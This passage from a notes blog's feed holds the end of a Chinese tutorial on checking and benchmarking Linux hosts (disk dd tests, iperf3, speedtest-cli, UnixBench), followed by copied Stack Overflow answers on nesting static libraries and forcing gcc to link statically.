&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-benchmark-notes&#x2F;proc-meminfo-output.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;该命令可以查看内存的详细信息，包括内存容量、交换空间、高速缓存等。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;查看内存使用情况：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;free -mh
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-benchmark-notes&#x2F;free-mh-memory-usage.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;该命令可查看当前 Linux 对内存和交换空间的占用情况。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;查看进程情况：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;# 安装 htop
sudo apt install htop

# 运行 htop
htop
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-benchmark-notes&#x2F;htop-process-monitor.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;htop 软件可以查看当前的 CPU 和内存使用情况，以及当前正在运行的进程，其界面也是很炫酷美观的。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;查看磁盘使用情况：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;df -h
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-benchmark-notes&#x2F;df-h-disk-usage.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;该命令可以查看所有挂载分区的容量和使用情况。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;查看网卡信息：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;ifconfig -a
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-benchmark-notes&#x2F;ifconfig-network-info.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;查看 PCI 总线信息：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;lspci
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-benchmark-notes&#x2F;lspci-bus-info.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;ci-pan-du-xie-ce-shi&quot;&gt;&lt;strong&gt;磁盘读写测试&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;磁盘 I&#x2F;O (Input&#x2F;Outpu) 读写速度是磁盘性能的一个重要指标。测试主机磁盘 IO 性能可以用以下两个命令。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;# 方案一
dd if=&amp;#x2F;dev&amp;#x2F;zero of=test bs=4k count=256000 oflag=dsync

# 方案二
dd if=&amp;#x2F;dev&amp;#x2F;zero of=test bs=4k count=256000 conv=fdatasync
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-benchmark-notes&#x2F;dd-dsync-disk-write-test.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;两个都是往硬盘中写入 1 Gbytes 的数据，只是第一个的速度慢的要命。 使用 dsync，dd 会从 &#x2F;dev&#x2F;zero 中，每次读取 4Kbytes 数据，然后直接写入到硬盘当中，重复此步骤，直到共读取并且写入了 1 Gbytes 的数据。 使用 fdatasync，dd 会从 &#x2F;dev&#x2F;zero 中一次性读取 1 Gbytes 的数据，写入到磁盘的缓存中，然后再从磁盘缓存中读取，一次性写入到硬盘当中。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;wang-luo-tong-xin-ce-shi&quot;&gt;&lt;strong&gt;网络通信测试&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;note-misc&#x2F;linux-network-monitoring-commands-osi.jpg&quot; alt=&quot;Linux 网络监控命令速查表（按 OSI 二&#x2F;三&#x2F;四层分类）&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;上图：按 OSI 分层整理的 Linux 网络监控命令速查表 —— 二层：&lt;code&gt;ip -s link&lt;&#x2F;code&gt;、&lt;code&gt;arp&lt;&#x2F;code&gt;、&lt;code&gt;ethtool&lt;&#x2F;code&gt;、&lt;code&gt;brctl&lt;&#x2F;code&gt;、&lt;code&gt;iwconfig&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;iwlist&lt;&#x2F;code&gt;；三层：&lt;code&gt;traceroute&lt;&#x2F;code&gt;、&lt;code&gt;ping&lt;&#x2F;code&gt;、&lt;code&gt;mtr&lt;&#x2F;code&gt;、&lt;code&gt;iftop&lt;&#x2F;code&gt;、&lt;code&gt;ip addr&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;ip -s route&lt;&#x2F;code&gt;、&lt;code&gt;nethogs&lt;&#x2F;code&gt;；四层：&lt;code&gt;ss&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;netstat&lt;&#x2F;code&gt;、&lt;code&gt;iperf&lt;&#x2F;code&gt;、&lt;code&gt;netperf&lt;&#x2F;code&gt;、&lt;code&gt;nc&lt;&#x2F;code&gt;、&lt;code&gt;tcptrack&lt;&#x2F;code&gt;、&lt;code&gt;lsof&lt;&#x2F;code&gt;、&lt;code&gt;ngrep&lt;&#x2F;code&gt;；抓包与分析：&lt;code&gt;tcpdump&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;tshark&lt;&#x2F;code&gt;、&lt;code&gt;Wireshark&lt;&#x2F;code&gt;、&lt;code&gt;nmap&lt;&#x2F;code&gt;、&lt;code&gt;OpenVAS&lt;&#x2F;code&gt;、&lt;code&gt;EtherApe&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;测试网络连通情况：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;ping -c 4 {HOST}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-benchmark-notes&#x2F;ping-connectivity-test.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;其中 {HOST} 为目标主机，可以是域名或 IP 地址。有显示响应时间则表示网络连通。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;测试网速：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;# 下载测试脚本
git clone https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;sivel&amp;#x2F;speedtest-cli.git

# 进入下载目录
cd speedtest-cli&amp;#x2F;

# 运行网速测试
.&amp;#x2F;speedtest.py
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-benchmark-notes&#x2F;speedtest-cli-run-output.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;运行这个脚本后，可以明显看得出下载和上传的网速。需要注意的是，这里的单位是 &lt;code&gt;Mbit&#x2F;s&lt;&#x2F;code&gt;，而不是我们平常所说网速的多少 &lt;code&gt;MB&#x2F;s&lt;&#x2F;code&gt;，他们之间的换算关系为 8Mbit&#x2F;s = 1MB&#x2F;s。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;测试TCP吞吐量和UDP丢包率：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;iperf 是一款基于TCP&#x2F;IP 和 UDP&#x2F;IP 的网络性能测试工具，它可以用来测量网络带宽和网络质量，还可以提供网络延迟抖动、数据包丢失率、最大传输单元等统计信息。网络管理员可以根据这些信息了解并判断网络性能问题，从而定位网络瓶颈，解决网络故障。&lt;&#x2F;p&gt;
&lt;p&gt;以下的测试过程需要由两台主机来配合完成，如果没有两台物理主机的话，也可以在虚拟机或 docker 容器中进行。&lt;&#x2F;p&gt;
&lt;p&gt;在下面的测试中，我们假设客户端主机为 &lt;code&gt;172.20.10.3&lt;&#x2F;code&gt;，服务器主机为 &lt;code&gt;172.17.0.2&lt;&#x2F;code&gt;，测试前分别在客户端主机和服务器主机中安装 iperf。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;# 安装 iperf 软件
sudo apt install iperf3
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在服务器主机中输入以下命令开启 iperf 服务，此时服务器会启动监听 5201 端口。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;iperf3 -s
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-benchmark-notes&#x2F;iperf3-server-listen.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;测试 TCP 吞吐量：在客户端主机中输入以下命令。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;iperf3 -c {ServerHost}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-benchmark-notes&#x2F;iperf3-tcp-throughput-test.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;其中 {ServerHost} 为服务器主机的 IP，这里为上面假设的 172.17.0.2。 为了确定网卡的最大吞吐量，iperf 将尝试从客户端尽可能快地向服务端发送数据请求，并且会输出发送的数据量和网卡平均带宽值。 从图中输出信息可以看出，iperf 默认测试 10 秒钟，共传送了 76.2 GB 的数据量，网卡的带宽平均速率为 65.5 Gbits&#x2F;s，即 8.19 GB&#x2F;s。由于我在测试时，服务器主机在本地电脑的 docker 容器中，故才会有这么惊人的传输速率，而在实际应用时，服务器主机应该选择实际被测试的目标，一般情况下不会有这么高的传输速率。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;为了模拟更真实的测试，你可以添加 iperf 命令的参数，自定义传送的数据量、测试时长、输出频率以及线程数等。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;iperf3 -c {ServerHost} -t {Time} -i {Interval} -n {Number} -P {Parallel}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-benchmark-notes&#x2F;iperf3-bandwidth-test.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;其中 {ServerHost} 为服务器主机的 IP，{Time} 为测试的时长，{Tnterval} 为每隔几秒输出一个测试结果，{Number} 为要传送的数据量，{Parallel} 为采用多少线程进行传输。这里值得注意的是，这里 -t 参数和 -n 参数不能同时设置。 如上图所示，这里设置了 107374182400 字节的数据量，即 100 GB，每隔 5 秒输出一次测试结果，并且设置为双线程传输。可以看到最终的平均传输速率为 68.6 Gbits&#x2F;s，并且每一条虚线分隔的，都是一次传输的记录，每次都有两条（双线程）记录和一条总的平均记录。 这里要提醒一下，如果你是用来测试你的付费云主机，请注意你的带宽流量费用，非必要时不要像我这样一次性传送这么大的数据量。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;下面来测试 UDP 丢包和延迟。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;说明：由于 UDP 协议是一个非面向连接的轻量级传输协议，并且不提供可靠的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;product&#x2F;dts?from_column=20065&amp;amp;from=20065&quot;&gt;数据传输服务&lt;&#x2F;a&gt;，因此对 UDP 应用的关注点不是传输数据有多快，而是它的丢包率和延时指标。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;iperf3 -c {ServerHost} -u -i {Interval} -b {Bandwidth}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-benchmark-notes&#x2F;iperf3-udp-jitter-loss-test.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;其中 {ServerHost} 为服务器主机的 IP，{Interval} 为每隔多少秒输出一次测试结果，{Bandwidth} 为需要传输的带宽。进行 UDP 测试的主要参数为 &lt;code&gt;-u&lt;&#x2F;code&gt;。 如上图，设置为每隔 1 秒输出测试结果，带宽为 200M。注意虚线下面的信息，&lt;code&gt;Jitter&lt;&#x2F;code&gt; 表示抖动时间（或称为传输延迟），&lt;code&gt;Lost&#x2F;Total&lt;&#x2F;code&gt; 表示丢失的数据报和总的数据报数量，后面的 0% 是平均丢包的比率，&lt;code&gt;Datagrams&lt;&#x2F;code&gt; 表示总共传输数据报的数量。 这里需要说明的是，由于我是使用本地的 docker 容器进行测试，所以得到的结果比较理想（0%），而实际上 UDP 的丢包率很少会出现这样理想的情况的。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;zong-he-xing-neng-pao-fen&quot;&gt;&lt;strong&gt;综合性能跑分&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;UnixBench 是一款开源的测试 Unix 系统基本性能的工具，是比较通用的测试性能的工具，Unixbench 的主要测试项目有：系统调用、读写、进程、图形化测试、2D、3D、管道、运算、C库等系统基准性能提供测试数据。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;操作步骤：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;# 进入系统临时目录
cd &amp;#x2F;tmp

# 下载 UnixBench 源码包
wget https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;kdlucas&amp;#x2F;byte-unixbench&amp;#x2F;archive&amp;#x2F;v5.1.3.tar.gz

# 解压缩
tar -zxvf v5.1.3.tar.gz

# 进入软件目录
cd byte-unixbench-5.1.3&amp;#x2F;UnixBench&amp;#x2F;

# 运行跑分测试
sudo .&amp;#x2F;Run
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-benchmark-notes&#x2F;unixbench-run-benchmark.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;测试时间比较久，等待测试完成后，可以看到如下这样的界面：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-benchmark-notes&#x2F;unixbench-run-score.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-benchmark-notes&#x2F;unixbench-score-result.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;看最后一行的 &lt;code&gt;System Benchmarks Index Score&lt;&#x2F;code&gt;，是跑分测试的综合总得分。 列表中 &lt;code&gt;BASELINE&lt;&#x2F;code&gt; 为基准线，&lt;code&gt;RESULT&lt;&#x2F;code&gt; 为跑分结果，而 &lt;code&gt;INDEX&lt;&#x2F;code&gt; 则为测试系统的测试结果与一个基线系统测试结果的比值，即 INDEX = RESULT &#x2F; BASELINE × 10。 这样得出的值比原始测试结果更有参考价值。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;再来看看每一项测试结果所表示的含义吧。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项目&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Dhrystone 2 using register variables&lt;&#x2F;td&gt;&lt;td&gt;此项用于测试 string handling。因为没有浮点操作，所以深受软件和硬件设计、编译和链接、代码优化、对内存的cache、等待状态、整数数据类型的影响。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Double-Precision Whetstone&lt;&#x2F;td&gt;&lt;td&gt;这一项测试浮点数操作的速度和效率。覆盖面很广的一系列 C 函数：sin，cos，sqrt，exp，log 被用于整数和浮点数的数学运算、数组访问、条件分支和程序调用。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Execl Throughput&lt;&#x2F;td&gt;&lt;td&gt;此测试考察每秒钟可以执行的 execl 系统调用的次数。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;File Copy&lt;&#x2F;td&gt;&lt;td&gt;测试从一个文件向另外一个文件传输数据的速率。每次测试使用不同大小的缓冲区。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Pipe Throughput&lt;&#x2F;td&gt;&lt;td&gt;测试一秒钟内一个进程可以向一个管道写 512 字节数据然后再读回的次数。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Pipe-bases Context Switching&lt;&#x2F;td&gt;&lt;td&gt;测试两个进程每秒钟通过一个管道交换一个不断增长的整数的次数。这个测试程序首先创建一个子进程，再和这个子进程进行双向的管道传输。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Process Creation&lt;&#x2F;td&gt;&lt;td&gt;测试每秒钟一个进程可以创建子进程然后收回子进程的次数（子进程一定立即退出）。Process Creation 的关注点是新进程进程控制块（process control block）的创建和内存分配。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Shell Scripts&lt;&#x2F;td&gt;&lt;td&gt;测试一秒钟内一个进程可以并发地开始一个 shell 脚本的 n （一般取值为1、2、4、8）个拷贝的次数。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;System Call Overhead&lt;&#x2F;td&gt;&lt;td&gt;测试进入和离开操作系统内核的代价，即一次系统调用的代价。它利用一个反复地调用 getpid 函数的小程序达到此目的。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Graphical Tests&lt;&#x2F;td&gt;&lt;td&gt;测试非常粗的 2D 和 3D 图形性能，尤其是 3D 测试非常有限。测试结果和硬件，系统合适的驱动关系很大。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Are Nested Static Library dependencies possible?</title>
        <published>2024-11-12T00:00:00+00:00</published>
        <updated>2024-11-12T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/are-nested-static-library-dependencies-possible/"/>
        <id>https://vercel.juzhong.asia/obsidian/are-nested-static-library-dependencies-possible/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/are-nested-static-library-dependencies-possible/">&lt;h1 id=&quot;are-nested-static-library-dependencies-possible&quot;&gt;Are Nested Static Library dependencies possible?&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;answer-1&quot;&gt;answer 1&lt;&#x2F;h2&gt;
&lt;p&gt;My quick two bits on this: 10 (sorry terrible joke).&lt;&#x2F;p&gt;
&lt;p&gt;To expand slightly, here goes:&lt;&#x2F;p&gt;
&lt;p&gt;1- A static library can depend on another static library, nothing or even a dynamic library: in the first two instances all the code for the new static library would be incorporated in the new SLL (Static Link Library), however, the 3rd option, depending on evironment could lead to the SLL having one of the following outcomes,&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;it would contain static versions of the code required by it gathered from the DLL (Dynamic Link Library)&lt;&#x2F;li&gt;
&lt;li&gt;or, much more horribly, you would have a static library that when included in a project would cause the requirement of shipping with a DLL , breaking the whole point of static linking.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;So in short yep, you can link a static library to a static library&lt;&#x2F;p&gt;
&lt;p&gt;2- if lib1 and lib2 are both static, and lib1 has been linked with lib2, then all the functionality of lib2 would be available within lib1 &lt;strong&gt;without&lt;&#x2F;strong&gt; the need to include lib2 as lib2 would be statically linked within lib1  (think russian dolls, with lib2 being the smaller).&lt;&#x2F;p&gt;
&lt;p&gt;In the scenario you describe there must be discrete functionality available in each of the files you are having to include, which is not statically linked, hence the need for multiple files, otherwise you would have a single file to include and you would be fine.&lt;&#x2F;p&gt;
&lt;p&gt;Take the following: One .h file with references to 6 statically linked libraries:  you would need to include 7 files in your project to get full functionality&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;（原文配图在剪藏时保存失败——文件实为 HTML 错误页，无法恢复）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;One SLL which was created from said .h File would require only the new SLL to be included for linking at compilation:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;（原文配图在剪藏时保存失败——文件实为 HTML 错误页，无法恢复）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Hope this helps and that I have understood what you were asking.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;answer-2&quot;&gt;answer 2&lt;&#x2F;h2&gt;
&lt;p&gt;When you declare something you just promise that during linking it will be available and uniquely identified. Static libs are nothing more than containers for definitions in a format which is outside the standard. So, this has the following implications:&lt;&#x2F;p&gt;
&lt;p&gt;1 ) I don&#x27;t &lt;em&gt;quite&lt;&#x2F;em&gt; get what you&#x27;re asking here, but one static library can very much depend on another static library. Either you promise that the definitions of that library be available during the final linking stage of your executable ( by providing it as link dependency ). Or you &quot;merge&quot; it during linking of the static lib.&lt;&#x2F;p&gt;
&lt;p&gt;2 ) The answer to this then becomes that the only thing you need to do is simply to not link in lib2 during linking of lib1.&lt;&#x2F;p&gt;
&lt;p&gt;Overall the best approach in my experience is to only merge libs which are private, the reason being that otherwise clients will run into multiply defined symbols violations when other parts of their project shares dependencies with you.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Telling gcc directly to link a library statically</title>
        <published>2024-11-12T00:00:00+00:00</published>
        <updated>2024-11-12T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/telling-gcc-directly-to-link-a-library-statically/"/>
        <id>https://vercel.juzhong.asia/obsidian/telling-gcc-directly-to-link-a-library-statically/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/telling-gcc-directly-to-link-a-library-statically/">&lt;h1 id=&quot;telling-gcc-directly-to-link-a-library-statically&quot;&gt;Telling gcc directly to link a library statically&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;6578484&#x2F;telling-gcc-directly-to-link-a-library-statically&quot;&gt;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;6578484&#x2F;telling-gcc-directly-to-link-a-library-statically&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;gcc-static-linking&#x2F;gcc-bstatic-bdynamic.jpg&quot; alt=&quot;gcc -Wl,-Bstatic &#x2F; -Bdynamic 混合静态与动态链接写法&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;It feels strange to me to use &lt;code&gt;-Wl,-Bstatic&lt;&#x2F;code&gt; in order to tell &lt;code&gt;gcc&lt;&#x2F;code&gt; which libraries I want to link with statically. After all I&#x27;m telling &lt;code&gt;gcc&lt;&#x2F;code&gt; directly all other information about linking with libraries (&lt;code&gt;-Ldir&lt;&#x2F;code&gt;, &lt;code&gt;-llibname&lt;&#x2F;code&gt;).&lt;&#x2F;p&gt;
&lt;p&gt;Is it possible to tell the gcc driver directly which libraries should be linked statically?&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Clarification:&lt;&#x2F;strong&gt;  I know that if a certain library exists only in static versions it&#x27;ll use it without &lt;code&gt;-Wl,-Bstatic&lt;&#x2F;code&gt;, but I want to imply &lt;code&gt;gcc&lt;&#x2F;code&gt; to prefer the static library. I also know that specifying the library file directly would link with it, but I prefer to keep the semantic for including static and dynamic libraries the same.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;l-libxyz-a&quot;&gt;-l:libXYZ.a&lt;&#x2F;h1&gt;
&lt;p&gt;Use &lt;code&gt;-l:&lt;&#x2F;code&gt; instead of &lt;code&gt;-l&lt;&#x2F;code&gt;. For example &lt;code&gt;-l:libXYZ.a&lt;&#x2F;code&gt; to link with &lt;code&gt;libXYZ.a&lt;&#x2F;code&gt;. Notice the &lt;code&gt;lib&lt;&#x2F;code&gt; and &lt;code&gt;.a&lt;&#x2F;code&gt; are written out, as opposed to &lt;code&gt;-lXYZ&lt;&#x2F;code&gt; which would auto-expand to &lt;code&gt;libXYZ.so&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;libXYZ.a&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;It is an &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;binutils&#x2F;docs&#x2F;ld&#x2F;Options.html&quot;&gt;option of the GNU &lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;binutils&#x2F;docs&#x2F;ld&#x2F;Options.html&quot;&gt;&lt;code&gt;ld&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;binutils&#x2F;docs&#x2F;ld&#x2F;Options.html&quot;&gt; linker&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
